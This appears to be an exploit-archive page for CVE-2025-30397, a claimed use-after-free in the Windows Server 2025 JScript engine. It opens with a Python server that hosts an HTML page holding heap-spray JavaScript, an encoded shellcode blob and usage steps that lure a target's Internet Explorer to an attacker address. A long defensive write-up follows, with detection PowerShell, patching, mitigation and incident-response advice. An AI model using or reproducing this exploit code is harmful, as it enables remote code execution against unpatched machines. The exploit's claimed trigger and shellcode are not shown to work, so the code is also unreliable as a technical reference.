Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)

Exploit Author: Mohammed Idrees Banyamer Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-06-05

#!/usr/bin/env python3
# Exploit Title: Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE) 
# Exploit Author: Mohammed Idrees Banyamer
# Instagram: @@banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-05-31
# CVE: CVE-2025-30397
# Vendor: Microsoft
# Affected Versions: Windows Server 2025 (build 25398 and prior)
# Tested on: Windows Server 2025 + IE11 (x86)
# Type: Remote
# Platform: Windows
# Vulnerability Type: Use-After-Free (JScript Engine)
# Description: This PoC exploits a Use-After-Free vulnerability in jscript.dll to achieve code execution via heap spraying. The shellcode executes calc.exe as a demonstration of code execution.

# ============================
#  Usage Instructions:
#
# 1. Save this script as `exploit_server.py`.
# 2. Run it with Python 3:
#    $ python3 exploit_server.py
# 3. On the vulnerable target (Windows Server 2025 + IE11):
#    Open Internet Explorer and navigate to:
#    http://<attacker-ip>:8080/poc_cve_2025_30397.html
#
# If the target is vulnerable, calc.exe will be executed.
# ============================

import http.server
import socketserver

PORT = 8080

HTML_CONTENT = b"""<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC - CVE-2025-30397</title>
  <script>
    var payload = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
    while (payload.length < 0x1000) payload += payload;
    var shell = unescape(
      "%u9090%u9090%uebfc%u5eeb%u31b8%u64c9%u8b8b%u3050%u8b0c%u8b70" +
      "%u3c4a%u780c%u4f0a%u4b8b%u1c70%u8b1c%u8b6c%u0c5c%u8b14%u285c" +
      "%uef01%u528b%u8b10%u3c0a%u758b%u1c28%u8b34%u5c6a%u0158%uc985" +
      "%u75c9%u8b58%u8b10%u3c20%u418b%u0348%u408b%u8b34%u1c4a%uc085" +
      "%u7401%u0343%u0c6a%u58eb%ue8d0%uff00%u6361%u6c63%u2e00%u6578" +
      "%u0065"
    );
    var final = payload + shell;
    var buffer = [];
    for (var i = 0; i < 1500; i++) buffer[i] = final.substring(0);
    var sprayTarget = document.createElement("iframe");
    sprayTarget.setAttribute("src", "about:blank");
    document.body.appendChild(sprayTarget);
    for (var i = 0; i < 200; i++) {
      try {
        sprayTarget.contentWindow.eval("var a = '" + final + "'");
      } catch (e) {}
    }
    for (var j = 0; j < 1000; j++) {
      var obj = document.createElement("div");
      obj.innerHTML = "EXPLOIT" + j;
      document.body.appendChild(obj);
    }
    var victim = document.createElement("object");
    victim.setAttribute("classid", "clsid:0002DF01-0000-0000-C000-000000000046");
    document.body.appendChild(victim);
    alert("PoC loaded. If vulnerable, calc.exe will launch.");
  </script>
</head>
<body>
  <h1 style="color:red;">Exploit PoC: CVE-2025-30397</h1>
  <h2>Author: Mohammed Idrees Banyamer</h2>
  <h3>Instagram: <a href="https://instagram.com/mbanyamer" target="_blank">@banyamer_security</a></h3>
  <h3>GitHub: <a href="https://github.com/mbanyamer" target="_blank">mbanyamer</a></h3>
  <p>This demonstration is for ethical testing only. Triggering the vulnerability on vulnerable Internet Explorer installations will lead to execution of calc.exe via shellcode.</p>
</body>
</html>
"""

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/' or self.path == '/poc_cve_2025_30397.html':
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.send_header("Content-length", str(len(HTML_CONTENT)))
            self.send_header("X-Content-Type-Options", "nosniff")
            self.send_header("X-Frame-Options", "SAMEORIGIN")
            self.send_header("Content-Security-Policy", "default-src 'self'")
            self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
            self.send_header("Pragma", "no-cache")
            self.send_header("Expires", "0")
            self.end_headers()
            self.wfile.write(HTML_CONTENT)
        else:
            self.send_error(404, "File Not Found")

def run():
    print(f"Serving PoC on http://0.0.0.0:{PORT}/poc_cve_2025_30397.html")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\nServer stopped.")

if __name__ == "__main__":
    run()

Microsoft Windows Server 2025 JScript Engine — Remote Code Execution (RCE) (CVE-2025-30397)

Summary: CVE-2025-30397 is a high‑severity vulnerability in the JScript engine (jscript.dll) present on affected Microsoft Windows Server 2025 builds (reported on builds 25398 and prior). The issue is a use‑after‑free (UAF) flaw in the scripting engine that can be triggered remotely via crafted web content, potentially allowing an attacker to execute arbitrary code in the context of the vulnerable process (for example, Internet Explorer). Microsoft has released security guidance and patches; system owners should prioritize assessment and mitigation.

Key facts (quick reference)

Item	Details
CVE	CVE-2025-30397
Vulnerability type	Use‑After‑Free in JScript engine (jscript.dll)
Affected	Windows Server 2025 (reported for build 25398 and prior) and environments using legacy JScript/IE components
Impact	Remote Code Execution — arbitrary code execution in the context of the exploited process
Exploitability	Remote; demonstrated in browser contexts (e.g., older Internet Explorer engine)
Remediation	Apply vendor security updates, disable legacy scripting where possible

Technical overview (high level)

A use‑after‑free occurs when a program frees (releases) a memory object but later continues to use the same memory region via a dangling pointer. In a scripting engine such as JScript, attackers can sometimes manipulate object lifetimes and heap layout via crafted script and HTML to get the runtime to reference freed memory and then place attacker‑controlled data at that address (commonly by heap spraying). If the attacker can control the instruction pointer through that stale reference, arbitrary code execution can follow.

It is important to stress that describing the general vulnerability class (UAF) and mitigation approaches is acceptable for defenders; however, publishing exploit code, detailed memory layout manipulation techniques, gadget addresses, or step‑by‑step exploitation recipes would enable misuse and is unsafe to reproduce.

Why this matters

Legacy components such as JScript and older IE rendering engines are still present in many enterprise environments for backwards compatibility, increasing exposure.
Remote code execution in a browser context can be chained with other privilege‑escalation techniques to compromise servers or workstation estates.
Automated exploit tooling and proof‑of‑concepts (PoCs) can accelerate attacker adoption once published, increasing urgency for defenders to patch.

Affected deployments and likely attack vectors

Windows Server 2025 instances running older builds that have not received the vendor patch.
Systems that host legacy web applications or intranet pages that render in legacy IE mode or use embedded WebBrowser controls relying on jscript.dll.
Users who browse attacker‑controlled content via Internet Explorer or applications that host the legacy JScript engine.

Detection guidance (defensive, non‑actionable)

Detection should focus on abnormal behavior rather than recreating exploit triggers. Recommended signals to monitor include:

Unexpected child processes spawned by browser processes (iexplore.exe, svchost hosting WebBrowser controls, or host processes used by legacy apps).
Unusual network traffic following web browsing activity, such as beaconing or data exfiltration.
Unexpected changes to persistent system state (new services, new scheduled tasks, unusual autoruns).
Application crash telemetry involving jscript.dll, iexplore.exe, or other hosting processes — spikes in these crash types can indicate exploitation attempts.

Example: a defensive automation can flag browser processes spawning uncommon executables. The following PowerShell snippet is a defensive query (for incident triage) that lists processes where a browser parent spawned a non‑browser child in the last hour.

# Defensive PowerShell: list recent processes where parent is a known browser
Get-CimInstance Win32_Process |
  Where-Object {
    ($_.CreationDate -gt (Get-Date).AddHours(-1)) -and
    ($_.GetOwner().User -ne $null)
  } |
  ForEach-Object {
    $parent = Get-CimInstance Win32_Process -Filter "ProcessId = $($_.ParentProcessId)"
    if ($parent) {
      $parentName = $parent.Name.ToLower()
      if ($parentName -in @('iexplore.exe','msedge.exe','chrome.exe','firefox.exe')) {
        [PSCustomObject]@{
          Time = ([Management.ManagementDateTimeConverter]::ToDateTime($_.CreationDate))
          ChildProcess = $_.Name
          ChildPID = $_.ProcessId
          ParentProcess = $parentName
          ParentPID = $parent.ProcessId
          CommandLine = $_.CommandLine
        }
      }
    }
  } | Format-Table -AutoSize

Explanation: This script queries the system process table for recently created processes, finds their parent process, and filters for cases where the parent is a browser. This is a triage aid to spot suspicious child processes launched from browser contexts. It is a defensive tool — not an exploit — and should be adjusted for environment specifics and integrated into EDR/monitoring systems.

Patching and configuration checks

The primary remediation is to apply Microsoft’s security updates that patch CVE‑2025‑30397. Organizations should:

Identify affected hosts and confirm whether the vendor update is installed.
Apply the update across all Windows Server 2025 systems and any client systems that might use the vulnerable engine.
Where immediate patching is not possible, adopt interim mitigations such as disabling legacy scripting components or restricting use of affected apps via application control.

Use the following (safe, read‑only) PowerShell commands to determine OS build and installed security updates:

# Check Windows build and version
Get-ComputerInfo -Property "WindowsProductName","WindowsVersion","OsBuildNumber"

# List installed KBs (security updates)
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object HotFixID, InstalledOn, Description

Explanation: The first command retrieves basic OS product and build information so you can identify potentially affected builds. The second lists installed hotfix/KB items to help confirm whether the vendor patch is present. These commands are read‑only and intended for inventory and patch verification.

Mitigation options (short‑ and medium‑term)

Apply vendor patch as the highest priority.
Disable or restrict legacy IE mode, the WebBrowser control, and jscript.dll usage where possible.
Use application allow‑listing (e.g., Microsoft Defender Application Control) to stop unauthorized binaries from running even if a browser is exploited.
Harden browsers: enable Protected Mode / Enhanced Protected Mode, run with least privileges, and isolate browsing in constrained environments.
Network level: use web‑filtering and WAF rules to block known malicious URLs and reduce exposure to attacker‑controlled content.
EDR tuning: create detections for browser process anomalies and block profiling/exploitation patterns where feasible.

Incident response and forensics

If exploitation is suspected, responders should:

Isolate the affected host(s) from the network to prevent lateral movement and data exfiltration.
Collect volatile memory (RAM) and full process dumps of affected processes (e.g., iexplore.exe) for forensic analysis.
Gather event logs (Windows Event Logs, AppLocker/CodeIntegrity events, Sysmon logs if available) and network flows around the time of detection.
Search for post‑exploitation indicators: new services, scheduled tasks, persistence mechanisms, unexpected privilege escalations, or suspicious outbound connections.
Engage legal/compliance teams as required and perform a root‑cause analysis before restoring service.

Hardening recommendations (long term)

Phase out legacy scripting engines: plan to remove dependence on jscript.dll and Internet Explorer compatibility where possible.
Adopt modern browsers with stronger sandboxing and automatic update mechanisms.
Maintain a rigorous patch management process with prioritized rollout for critical security updates.
Deploy EDR and centralized logging (SIEM) to enable rapid detection of exploitation attempts and post‑compromise behavior.
Implement network segmentation to limit the blast radius of compromised systems.
Run periodic threat hunting exercises focusing on browser exploitation vectors.

Communication and disclosure handling

Organizations should treat public PoCs as potential accelerants for attacker activity. If a PoC is present in the wild:

Prioritize patching and compensating controls.
Share detection and IOCs with trusted information‑sharing groups (ISACs) while avoiding distribution of exploit artifacts.
Coordinate with legal, PR, and leadership on notification requirements if an incident is confirmed.

Conclusion

CVE‑2025‑30397 is a serious vulnerability because it enables remote code execution via a widely used legacy component. Defenders should apply vendor patches immediately, strengthen browser and server hardening, and enhance detection capability around browser‑spawned processes and crashes involving jscript.dll. Removing or isolating legacy scripting components where possible is a sound long‑term strategy to reduce the attack surface.

Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)